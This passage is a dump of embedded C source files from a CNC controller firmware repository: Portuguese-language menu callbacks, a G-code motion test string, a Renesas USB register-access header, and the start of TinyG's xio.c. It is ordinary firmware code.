lvar->value;\n\tif(*value)\n\t{\n\t\tmacro_func_ptr = homming_Macro;\n\t}\n}\n\nvoid testar_peca(void *var)\n{\n\tuint16_t i = 0;\n\tchar s;\n\tchar *str;\n\tchar num[50];\n\tfloat numf;\n\n\tut_config_var *lvar = var;\n\tbool *value = lvar->value;\n\tif(*value)\n\t{\n\t\tmacro_func_ptr = command_idle;\n\t\txio_close(cs.primary_src);\n\t\txio_open(cs.primary_src,0,0);\n\t\twhile (true) {\n\t\t\tSPIFFS_read(&uspiffs[0].gSPIFFS, uspiffs[0].f, &s, 1);\n\t\t\ti++;\n\t\t\tif (i > 1000)\n\t\t\t{\n\t\t\t\txio_close(cs.primary_src);\n\t\t\t\tut_lcd_output_warning(\"ARQUIVO\\nSEM INFO\\nDE LIMITES\\n\");\n\t\t\t\tvTaskDelay(2000 / portTICK_PERIOD_MS);\n\t\t\t\t*value = false;\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (s == 'M')\n\t\t\t{\n\t\t\t\tSPIFFS_read(&uspiffs[0].gSPIFFS, uspiffs[0].f, num, 2);\n\t\t\t\tnumf = strtof(num,&str);\n\t\t\t\tif (numf == 98.0f)\n\t\t\t\t{\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\twhile (true) {\n\t\t\tSPIFFS_read(&uspiffs[0].gSPIFFS, uspiffs[0].f, &s, 1);\n\t\t\tif (s == '(')\n\t\t\t{\n\t\t\t\tSPIFFS_read(&uspiffs[0].gSPIFFS, uspiffs[0].f, num, 50);\n\t\t\t\tXcord = strtof(num,&str);\n\t\t\t\tYcord = strtof(++str,NULL);\n\t\t\t\txio_close(cs.primary_src);\n\t\t\t\t//xTaskNotifyGive(xCncTaskHandle);\n\t\t\t\tmacro_func_ptr = limit_test;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n}\n\nuint32_t delay_esc(uint32_t timems)\n{\n\tuint32_t lret;\n\tuint32_t i;\n\tuint32_t keyEntry = 0xFFFFFFFF;\n\ti = 0;\n\txQueueReset(qKeyboard);\n\tdo{\n\n\t\tlret = xQueueReceive( qKeyboard, &keyEntry, 1 / portTICK_PERIOD_MS );\n\t\tif(lret == pdFAIL)\n\t\t{\n\t\t\ti++;\n\t\t}\n\t}while(i < timems && keyEntry != KEY_ESC);\n\treturn keyEntry;\n}\n\nuint32_t delay_esc_enter(uint32_t timems)\n{\n\tuint32_t lret;\n\tuint32_t i;\n\tuint32_t keyEntry = 0xFFFFFFFF;\n\ti = 0;\n\txQueueReset(qKeyboard);\n\tdo{\n\n\t\tlret = xQueueReceive( qKeyboard, &keyEntry, 1 / portTICK_PERIOD_MS );\n\t\tif(lret == pdFAIL)\n\t\t{\n\t\t\ti++;\n\t\t}\n\t}while(i < timems && keyEntry != KEY_ESC && keyEntry != KEY_ENTER );\n\treturn keyEntry;\n}\n\nvoid mem_format(void *var)\n{\n\tut_config_var *lvar = var;\n\tuint32_t *value = lvar->value;\n\tmem_check mem_ret;\n\ts32_t res_ext = 0;\n\tif(*value)\n\t{\n\t\teepromFormat();\n\t\tmem_ret = eepromIntegrityCheck();\n\t\tif(mem_ret == MEM_FAIL)\n\t\t{\n\t\t\tut_lcd_output_warning(\"ERRO 001\\n\");\n\t\t\tvTaskDelay(4000 / portTICK_PERIOD_MS);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tut_lcd_output_warning(\"MEMORIA INTERNA\\nINTEGRA\\n\");\n\t\t\tvTaskDelay(4000 / portTICK_PERIOD_MS);\n\t\t}\n\t\tut_lcd_output_warning(\"FORMATANDO\\nMEMÓRIA EXTERNA...\\n\");\n\t\tres_ext = spiffs_format();\n\t\tif (res_ext != SPIFFS_OK)\n\t\t{\n\t\t\tut_lcd_output_warning(\"ERRO 002\\n\");\n\t\t\tvTaskDelay(4000 / portTICK_PERIOD_MS);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tut_lcd_output_warning(\"MEMORIA EXTERNA\\nINTEGRA\\n\");\n\t\t\tvTaskDelay(4000 / portTICK_PERIOD_MS);\n\t\t}\n\t\tRESET\n\t}\n}\n\nuint8_t get_dec_digits(float fnum)\n{\n\tuint8_t decDigits = 0;\n\twhile (fnum > 1)\n\t{\n\t\tfnum = fnum/10;\n\t\tif (fp_EQ(fnum,1))\n\t\t\tfnum = 1;\n\t\tdecDigits++;\n\t}\n\treturn decDigits;\n}\n\nuint8_t get_decimal_digits(float fnum)\n{\n\tuint8_t decimalDigits = 0;\n\twhile (fnum < 1)\n\t{\n\t\tfnum = fnum*10;\n\t\tif (fp_EQ(fnum,1))\n\t\t\tfnum = 1;\n\t\tdecimalDigits++;\n\t}\n\treturn decimalDigits;\n}\n\nvoid idle(void *var)\n{\n\n}\n\n" }, { "alpha_fraction": 0.45371219515800476, "alphanum_fraction": 0.6388634443283081, "avg_line_length": 15.612903594970703, "blob_id": "943b13e4e722578f6aa79d9fcc4566afe75cbd61", "content_id": "2e363c524f1e3fa7c228d80ce220b4c525413d89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1091, "license_type": "no_license", "max_line_length": 91, "num_lines": 62, "path": "/src/cnc/tests/test_003_squares.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/* \r\n * test_003_squares.h \r\n *\r\n * Notes:\r\n *\t -\tThe character array should be derived from the filename (by convention)\r\n *\t - Comments are not allowed in the char array, but gcode comments are OK e.g. (g0 test)\r\n */\r\nconst char test_squares[] PROGMEM = \"\\\r\n(MSG**** Squares Motion Test [v1] ****)\\n\\\r\ng00g17g21g40g49g80g90\\n\\\r\ng0x0y0\\n\\\r\ng0x20 (traverse a 20mm square in X and Y)\\n\\\r\ny20\\n\\\r\nx0\\n\\\r\ny0\\n\\\r\ng1x10f500 (draw a 10mm square in X and Y at F500)\\n\\\r\ny10\\n\\\r\nx0\\n\\\r\ny0\\n\\\r\ng0z20 (traverse a 20mm square in X and Z)\\n\\\r\nx20\\n\\\r\nz0\\n\\\r\nx0\\n\\\r\ng1x20y20z20f500 (feed a 20mm diagonal in X, Y and Z)\\n\\\r\nx0y0z0\\n\\\r\nx40y40z40 (traverse a 40mm cube in X, Y and Z)\\n\\\r\nx40y0z0\\n\\\r\nx0y40z40\\n\\\r\nx40y40z0\\n\\\r\nx0y0z40\\n\\\r\nx0y40z0\\n\\\r\nx40y0z40\\n\\\r\nx0y0z0\\n\\\r\ng80\\n\\\r\ng0x0y0\\n\\\r\ng0x1\\n\\\r\ng0x0\\n\\\r\nm30\";\n\r\n/*\r\ng0x40y40z-40 (traverse a 40mm cube in X, Y and Z)\\n\\\r\nx40y0z0\\n\\\r\nx0y40z-40\\n\\\r\nx40y40z0\\n\\\r\nx0y40z-40\\n\\\r\nx0y40z0\\n\\\r\nx40y0z-40\\n\\\r\nx0y0z0\\n\\\r\ng80\\n\\\r\nm30\";\n\r\nx0y0z0\\n\\\r\nx40y0z-40\\n\\\r\nx0y40z0\\n\\\r\nx40y40z-40\\n\\\r\nx40y0z0\\n\\\r\nx0y0z-40\\n\\\r\nx40y40z0\\n\\\r\nx0y40z-40\\n\\\r\nx0y0z0\\n\\\r\n\r\n*/\r\r\n" }, { "alpha_fraction": 0.5256032347679138, "alphanum_fraction": 0.5500169992446899, "avg_line_length": 41.53976058959961, "blob_id": "cc96b4ef66ac70d3302db20d023e9a302d096632", "content_id": "3eecd52bd569c57667a870f0b34ab6fd4b3be614", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 17654, "license_type": "no_license", "max_line_length": 120, "num_lines": 415, "path": "/r_usb_basic/src/HW/inc/r_usb_reg_access.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_reg_access.h\n* Description : USB Peripheral signal control code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/************/\n/* SYSCFG */\n/************/\nuint16_t usb_creg_read_syscfg( USB_UTR_t *ptr, uint16_t port );\nvoid usb_creg_write_syscfg( USB_UTR_t *ptr, uint16_t port, uint16_t data );\nvoid usb_creg_set_xtal( USB_UTR_t *ptr, uint16_t data );\nvoid usb_creg_set_xcke( USB_UTR_t *ptr );\nvoid usb_creg_set_scke( USB_UTR_t *ptr );\nvoid usb_creg_clr_scke( USB_UTR_t *ptr );\nvoid usb_creg_set_cnen( USB_UTR_t *ptr );\nvoid usb_creg_clr_cnen( USB_UTR_t *ptr );\nvoid usb_creg_set_hse( USB_UTR_t *ptr, uint16_t port );\nvoid usb_creg_clr_hse( USB_UTR_t *ptr, uint16_t port );\nvoid usb_creg_set_dcfm( USB_UTR_t *ptr );\nvoid usb_creg_clr_dcfm( USB_UTR_t *ptr );\nvoid usb_creg_set_drpd( USB_UTR_t *ptr, uint16_t port );\nvoid usb_creg_clr_drpd( USB_UTR_t *ptr, uint16_t port );\nvoid usb_preg_set_dprpu( USB_UTR_t *ptr );\nvoid usb_preg_clr_dprpu( USB_UTR_t *ptr );\nvoid usb_creg_set_usbe( USB_UTR_t *ptr );\nvoid usb_creg_clr_usbe( USB_UTR_t *ptr );\nvoid usb_hreg_clr_drpd( USB_UTR_t *ptr, uint16_t port );\n\n\n/************/\n/* BUSWAIT */\n/************/\nvoid usb_creg_set_bus_wait( USB_UTR_t *ptr );\n\n/************/\n/* SYSSTS0 */\n/************/\nuint16_t usb_creg_read_syssts( USB_UTR_t *ptr, uint16_t port );\nvoid usb_creg_write_syssts( USB_UTR_t *ptr, uint16_t port, uint16_t data );\n\n/**************/\n/* DVSTCTR0 */\n/**************/\nuint16_t usb_creg_read_dvstctr( USB_UTR_t *ptr, uint16_t port );\nvoid usb_creg_write_dvstctr( USB_UTR_t *ptr, uint16_t port, uint16_t data );\nvoid usb_creg_rmw_dvstctr( USB_UTR_t *ptr, uint16_t port, uint16_t data, uint16_t width );\nvoid usb_creg_clr_dvstctr( USB_UTR_t *ptr, uint16_t port, uint16_t data );\nvoid usb_creg_set_vbout( USB_UTR_t *ptr, uint16_t port );\nvoid usb_creg_clr_vbout( USB_UTR_t *ptr, uint16_t port );\nvoid usb_preg_set_wkup( USB_UTR_t *ptr );\nvoid usb_hreg_set_rwupe( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_clr_rwupe( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_set_resume( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_clr_resume( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_set_uact( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_clr_uact( USB_UTR_t *ptr, uint16_t port );\n\n/**************/\n/* TESTMODE */\n/**************/\nvoid usb_creg_set_utst( USB_UTR_t *ptr, uint16_t data );\n\n/************/\n/* PINCFG */\n/************/\nvoid usb_creg_set_ldrv( USB_UTR_t *ptr );\nvoid usb_creg_clr_ldrv( USB_UTR_t *ptr );\n\n/**********************************/\n/* DMA0CFG, DMA1CFG for 597ASSP */\n/**********************************/\nvoid usb_creg_write_dmacfg( USB_UTR_t *ptr, uint16_t pipemode, uint16_t data );\n\n/***************************/\n/* CFIFO, D0FIFO, D1FIFO */\n/***************************/\nuint32_t usb_creg_read_fifo32( USB_UTR_t *ptr, uint16_t pipemode );\nvoid usb_creg_write_fifo32( USB_UTR_t *ptr, uint16_t pipemode, uint32_t data );\nuint16_t usb_creg_read_fifo16( USB_UTR_t *ptr, uint16_t pipemode );\nvoid usb_creg_write_fifo16( USB_UTR_t *ptr, uint16_t pipemode, uint16_t data );\nuint8_t usb_creg_read_fifo8( USB_UTR_t *ptr, uint16_t pipemode );\nvoid usb_creg_write_fifo8( USB_UTR_t *ptr, uint16_t pipemode, uint8_t data );\n/************************************/\n/* CFIFOSEL, D0FIFOSEL, D1FIFOSEL */\n/************************************/\nuint16_t usb_creg_read_fifosel( USB_UTR_t *ptr, uint16_t pipemode );\nvoid usb_creg_write_fifosel( USB_UTR_t *ptr, uint16_t pipemode, uint16_t data );\nvoid usb_creg_rmw_fifosel( USB_UTR_t *ptr, uint16_t pipemode, uint16_t data, uint16_t width );\nvoid usb_creg_set_dclrm( USB_UTR_t *ptr, uint16_t pipemode );\nvoid usb_creg_clr_dclrm( USB_UTR_t *ptr, uint16_t pipemode );\nvoid usb_creg_set_dreqe( USB_UTR_t *ptr, uint16_t pipemode );\nvoid usb_creg_clr_dreqe( USB_UTR_t *ptr, uint16_t pipemode );\nvoid usb_creg_set_mbw( USB_UTR_t *ptr, uint16_t pipemode, uint16_t data );\nvoid usb_creg_set_bigend( USB_UTR_t *ptr, uint16_t pipemode, uint16_t data );\nvoid usb_creg_set_curpipe( USB_UTR_t *ptr, uint16_t pipemode, uint16_t pipeno );\n\n/**********************************/\n/* CFIFOCTR, D0FIFOCTR, D1FIFOCTR */\n/**********************************/\nuint16_t usb_creg_read_fifoctr( USB_UTR_t *ptr, uint16_t pipemode );\nvoid usb_creg_set_bval( USB_UTR_t *ptr, uint16_t pipemode );\nvoid usb_creg_set_bclr( USB_UTR_t *ptr, uint16_t pipemode );\n\n/*************/\n/* INTENB0 */\n/*************/\nuint16_t usb_creg_read_intenb( USB_UTR_t *ptr );\nvoid usb_creg_write_intenb( USB_UTR_t *ptr, uint16_t data );\nvoid usb_creg_set_intenb( USB_UTR_t *ptr, uint16_t data );\nvoid usb_creg_clr_enb_vbse( USB_UTR_t *ptr );\nvoid usb_preg_set_enb_rsme( USB_UTR_t *ptr );\nvoid usb_preg_clr_enb_rsme( USB_UTR_t *ptr );\nvoid usb_creg_clr_enb_sofe( USB_UTR_t *ptr );\n\n/*************/\n/* INTENB1 */\n/*************/\nuint16_t usb_hreg_read_intenb( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_write_intenb( USB_UTR_t *ptr, uint16_t port, uint16_t data );\nvoid usb_hreg_set_enb_ovrcre( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_clr_enb_ovrcre( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_set_enb_bchge( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_clr_enb_bchge( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_set_enb_dtche( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_clr_enb_dtche( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_set_enb_attche( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_clr_enb_attche( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_set_enb_signe( USB_UTR_t *ptr );\nvoid usb_hreg_clr_enb_signe( USB_UTR_t *ptr );\nvoid usb_hreg_set_enb_sacke( USB_UTR_t *ptr );\nvoid usb_hreg_clr_enb_sacke( USB_UTR_t *ptr );\nvoid usb_hreg_set_enb_pddetinte( USB_UTR_t *ptr );\nvoid usb_hreg_clr_enb_pddetinte( USB_UTR_t *ptr );\n\n/*************/\n/* BRDYENB */\n/*************/\nuint16_t usb_creg_read_brdyenb( USB_UTR_t *ptr );\nvoid usb_creg_write_brdyenb( USB_UTR_t *ptr, uint16_t data );\nvoid usb_creg_set_brdyenb( USB_UTR_t *ptr, uint16_t pipeno );\nvoid usb_creg_clr_brdyenb( USB_UTR_t *ptr, uint16_t pipeno );\n\n/*************/\n/* NRDYENB */\n/*************/\nuint16_t usb_creg_read_nrdyenb( USB_UTR_t *ptr );\nvoid usb_creg_write_nrdyenb( USB_UTR_t *ptr, uint16_t data );\nvoid usb_creg_set_nrdyenb( USB_UTR_t *ptr, uint16_t pipeno );\nvoid usb_creg_clr_nrdyenb(USB_UTR_t *ptr, uint16_t pipeno );\n\n/*************/\n/* BEMPENB */\n/*************/\nuint16_t usb_creg_read_bempenb( USB_UTR_t *ptr );\nvoid usb_creg_write_bempenb( USB_UTR_t *ptr, uint16_t data );\nvoid usb_creg_set_bempenb( USB_UTR_t *ptr, uint16_t pipeno );\nvoid usb_creg_clr_bempenb( USB_UTR_t *ptr, uint16_t pipeno );\n\n\n/*************/\n/* SOFCFG */\n/*************/\nvoid usb_creg_set_sofcfg( USB_UTR_t *ptr, uint16_t data );\n\n\n\n/*************/\n/* SOFCFG */\n/*************/\nuint16_t usb_creg_read_sofcfg( USB_UTR_t *ptr );\nvoid usb_hreg_set_trnensel( USB_UTR_t *ptr );\nvoid usb_hreg_clr_trnensel( USB_UTR_t *ptr );\n\n/*************/\n/* PHYSET */\n/*************/\nuint16_t usb_creg_read_pipebuf( USB_UTR_t *ptr );\nvoid usb_creg_write_clksel( USB_UTR_t *ptr );\nvoid usb_creg_clr_pllreset( USB_UTR_t *ptr );\nvoid usb_creg_clr_dirpd( USB_UTR_t *ptr );\n\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\nvoid usb_creg_clr_hseb( USB_UTR_t *ptr );\nvoid usb_creg_write_repsel( USB_UTR_t *ptr );\n#endif /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n\n/*************/\n/* INTSTS0 */\n/*************/\nuint16_t usb_creg_read_intsts( USB_UTR_t *ptr );\nvoid usb_creg_write_intsts( USB_UTR_t *ptr, uint16_t data );\nvoid usb_creg_clr_sts_vbint( USB_UTR_t *ptr );\nvoid usb_preg_clr_sts_resm( USB_UTR_t *ptr );\nvoid usb_creg_clr_sts_sofr( USB_UTR_t *ptr );\nvoid usb_preg_clr_sts_dvst( USB_UTR_t *ptr );\nvoid usb_preg_clr_sts_ctrt( USB_UTR_t *ptr );\nvoid usb_preg_clr_sts_valid( USB_UTR_t *ptr );\n\n/*************/\n/* INTSTS1 */\n/*************/\nuint16_t usb_hreg_read_intsts( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_write_intsts( USB_UTR_t *ptr, uint16_t port, uint16_t data );\nvoid usb_hreg_clr_sts_ovrcr( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_clr_sts_bchg( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_clr_sts_dtch( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_clr_sts_attch( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_clr_sts_eoferr( USB_UTR_t *ptr, uint16_t port );\nvoid usb_hreg_clr_sts_sign( USB_UTR_t *ptr );\nvoid usb_hreg_clr_sts_sack( USB_UTR_t *ptr );\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\nvoid usb_hreg_clr_sts_pddetint( USB_UTR_t *ptr );\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n/************/\n/* BRDYSTS */\n/************/\nuint16_t usb_creg_read_brdysts( USB_UTR_t *ptr );\nvoid usb_creg_write_brdysts( USB_UTR_t *pt, uint16_t data );\nvoid usb_creg_clr_sts_brdy( USB_UTR_t *ptr, uint16_t pipeno );\n\n/************/\n/* NRDYSTS */\n/************/\nuint16_t usb_creg_read_nrdysts( USB_UTR_t *ptr );\nvoid usb_creg_write_nrdysts( USB_UTR_t *ptr, uint16_t data );\nvoid usb_creg_clr_sts_nrdy( USB_UTR_t *ptr, uint16_t pipeno );\n\n/************/\n/* BEMPSTS */\n/************/\nuint16_t usb_creg_read_bempsts( USB_UTR_t *ptr );\nvoid usb_creg_write_bempsts( USB_UTR_t *ptr, uint16_t data );\nvoid usb_creg_clr_sts_bemp( USB_UTR_t *ptr, uint16_t pipeno );\n\n/************/\n/* FRMNUM */\n/************/\nuint16_t usb_creg_read_frmnum( USB_UTR_t *ptr );\n\n/************/\n/* USBADDR */\n/************/\nuint16_t usb_creg_read_usbaddr( USB_UTR_t *ptr );\nvoid usb_creg_set_stsrecov( USB_UTR_t *ptr, uint16_t data );\n\n/************/\n/* USBREQ */\n/************/\nuint16_t usb_creg_read_usbreq( USB_UTR_t *ptr );\nvoid usb_hreg_write_usbreq( USB_UTR_t *ptr, uint16_t data );\n\n/************/\n/* USBVAL */\n/************/\nuint16_t usb_creg_read_usbval( USB_UTR_t *ptr );\nvoid usb_hreg_set_usbval( USB_UTR_t *ptr, uint16_t data );\n\n/************/\n/* USBINDX */\n/************/\nuint16_t usb_creg_read_usbindx( USB_UTR_t *ptr );\nvoid usb_hreg_set_usbindx( USB_UTR_t *ptr, uint16_t data );\n\n/************/\n/* USBLENG */\n/************/\nuint16_t usb_creg_read_usbleng( USB_UTR_t *ptr );\nvoid usb_hreg_set_usbleng( USB_UTR_t *ptr, uint16_t data );\n\n/************/\n/* DCPCFG */\n/************/\nuint16_t usb_creg_read_dcpcfg( USB_UTR_t *ptr );\nvoid usb_creg_write_dcpcfg( USB_UTR_t *ptr, uint16_t data );\nvoid usb_creg_set_dcpshtnak( USB_UTR_t *ptr );\n\n/************/\n/* DCPMAXP */\n/************/\nuint16_t usb_creg_read_dcpmaxp( USB_UTR_t *ptr );\nvoid usb_creg_write_dcpmxps( USB_UTR_t *ptr, uint16_t data );\n\n/************/\n/* DCPCTR */\n/************/\nuint16_t usb_creg_read_dcpctr( USB_UTR_t *ptr );\nvoid usb_hreg_write_dcpctr( USB_UTR_t *ptr, uint16_t data );\nvoid usb_hreg_set_sureq( USB_UTR_t *ptr );\nvoid usb_hreg_set_sureqclr( USB_UTR_t *ptr );\nvoid usb_preg_set_ccpl( USB_UTR_t *ptr );\n\n/************/\n/* PIPESEL */\n/************/\nuint16_t usb_creg_read_pipesel( USB_UTR_t *ptr );\nvoid usb_creg_write_pipesel( USB_UTR_t *ptr, uint16_t data );\n\n/************/\n/* PIPECFG */\n/************/\nuint16_t usb_creg_read_pipecfg( USB_UTR_t *ptr );\nvoid usb_creg_write_pipecfg( USB_UTR_t *ptr, uint16_t data );\nvoid usb_creg_set_type( USB_UTR_t *ptr, uint16_t data );\n\n/************/\n/* PIPEBUF */\n/************/\nvoid usb_creg_write_pipebuf( USB_UTR_t *ptr, uint16_t data );\n\n/************/\n/* PIPEMAXP */\n/************/\nuint16_t usb_creg_read_pipemaxp( USB_UTR_t *ptr );\nvoid usb_creg_write_pipemaxp( USB_UTR_t *ptr, uint16_t data );\nvoid usb_hreg_set_devsel( USB_UTR_t *ptr, uint16_t data );\nvoid usb_creg_set_mxps( USB_UTR_t *ptr, uint16_t data );\n\n/************/\n/* PIPEPERI */\n/************/\nuint16_t usb_creg_read_pipeperi( USB_UTR_t *ptr );\nvoid usb_creg_write_pipeperi( USB_UTR_t *ptr, uint16_t data );\n\n/********************/\n/* DCPCTR, PIPEnCTR */\n/********************/\nuint16_t usb_creg_read_pipectr( USB_UTR_t *ptr, uint16_t pipeno );\nvoid usb_creg_write_pipectr( USB_UTR_t *ptr, uint16_t pipeno, uint16_t data );\nvoid usb_creg_set_csclr( USB_UTR_t *ptr, uint16_t pipeno );\nvoid usb_creg_set_aclrm( USB_UTR_t *ptr, uint16_t pipeno );\nvoid usb_creg_clr_aclrm( USB_UTR_t *ptr, uint16_t pipeno );\nvoid usb_creg_set_sqclr( USB_UTR_t *ptr, uint16_t pipeno );\nvoid usb_creg_set_sqset( USB_UTR_t *ptr, uint16_t pipeno );\nvoid usb_creg_clr_sqset( USB_UTR_t *ptr, uint16_t pipeno );\nvoid usb_creg_set_pid( USB_UTR_t *ptr, uint16_t pipeno, uint16_t data );\nvoid usb_creg_clr_pid( USB_UTR_t *ptr, uint16_t pipeno, uint16_t data );\n\n/************/\n/* PIPEnTRE */\n/************/\nuint16_t usb_creg_read_pipetre( USB_UTR_t *ptr, uint16_t pipeno );\nvoid usb_creg_set_trenb( USB_UTR_t *ptr, uint16_t pipeno );\nvoid usb_creg_clr_trenb( USB_UTR_t *ptr, uint16_t pipeno );\nvoid usb_creg_set_trclr( USB_UTR_t *ptr, uint16_t pipeno );\n\n/************/\n/* PIPEnTRN */\n/************/\nuint16_t usb_creg_read_pipetrn( USB_UTR_t *ptr, uint16_t pipeno );\nvoid usb_creg_write_pipetrn( USB_UTR_t *ptr, uint16_t pipeno, uint16_t data );\n\n/************/\n/* DEVADDn */\n/************/\nuint16_t usb_hreg_read_devadd( USB_UTR_t *ptr, uint16_t devadr );\nvoid usb_hreg_rmw_devadd( USB_UTR_t *ptr, uint16_t devsel, uint16_t data, uint16_t width );\nvoid usb_hreg_set_usbspd( USB_UTR_t *ptr, uint16_t devadr, uint16_t data );\n\n/************/\n/* DEVADDn */\n/************/\nvoid usb_hreg_write_physlew( USB_UTR_t *ptr );\nvoid usb_preg_write_physlew( USB_UTR_t *ptr );\n\n/************/\n/* LPSTS */\n/************/\nvoid usb_creg_set_suspendm( USB_UTR_t *ptr );\n\n/************/\n/* BCCTRL */\n/************/\nuint16_t usb_creg_read_bcctrl( USB_UTR_t *ptr );\nvoid usb_creg_set_vdmsrce( USB_UTR_t *ptr );\nvoid usb_creg_clr_vdmsrce( USB_UTR_t *ptr );\nvoid usb_creg_set_idpsinke( USB_UTR_t *ptr );\nvoid usb_creg_clr_idpsinke( USB_UTR_t *ptr );\nvoid usb_preg_set_bcctrl( USB_UTR_t *ptr, uint16_t data );\nvoid usb_preg_clr_bcctrl( USB_UTR_t *ptr, uint16_t data );\nvoid usb_preg_set_vdpsrce( USB_UTR_t *ptr );\nvoid usb_preg_clr_vdpsrce( USB_UTR_t *ptr );\nvoid usb_preg_set_idmsinke( USB_UTR_t *ptr );\nvoid usb_preg_clr_idmsinke( USB_UTR_t *ptr );\nvoid usb_preg_set_idpsrce( USB_UTR_t *ptr );\nvoid usb_preg_clr_idpsrce( USB_UTR_t *ptr );\nvoid usb_hreg_set_dcpmode( USB_UTR_t *ptr );\nvoid usb_hreg_clr_dcpmode( USB_UTR_t *ptr );\n\n/******************************************************************************\nEnd of file\n******************************************************************************/\n" }, { "alpha_fraction": 0.6752805113792419, "alphanum_fraction": 0.6815708875656128, "avg_line_length": 35.08588790893555, "blob_id": "b13e7b6373a67b24a547b16f5ba46c88f77e59fd", "content_id": "f1bebf12e1371f3aab6d8d44dccd0a5150faae63", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 11764, "license_type": "no_license", "max_line_length": 106, "num_lines": 326, "path": "/src/cnc/xio.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * xio.c - Xmega IO devices - common code file\n * Part of TinyG project\n *\n * Copyright (c) 2010 - 2015 Alden S. Hart Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n/* ----- XIO - Xmega Device System ----\n *\n * XIO provides common access to native and derived xmega devices (see table below)\n * XIO devices are compatible with avr-gcc stdio and also provide some special functions\n * that are not found in stdio.\n *\n * Stdio support:\n *\t- http://www.nongnu.org/avr-libc/user-manual/group__avr__stdio.html\n * \t- Stdio compatible putc() and getc() functions provided for each device\n *\t- This enables fgets, printf, scanf, and other stdio functions\n * \t- Full support for formatted printing is provided (including floats)\n * \t- Assignment of a default device to stdin, stdout & stderr is provided\n *\t- printf() and printf_P() send to stdout, so use fprintf() to stderr\n *\t\tfor things that should't go over RS485 in SLAVE mode\n *\n * Facilities provided beyond stdio:\n *\t- Supported devices include:\n *\t\t- USB (derived from USART)\n *\t\t- RS485 (derived from USART)\n *\t\t- SPI devices and slave channels\n *\t\t- Program memory \"files\" (read only)\n *\t- Stdio FILE streams are managed as bindings to the above devices\n *\t- Additional functions provided include:\n *\t\t- open() - initialize parameters, addresses and flags\n *\t\t- 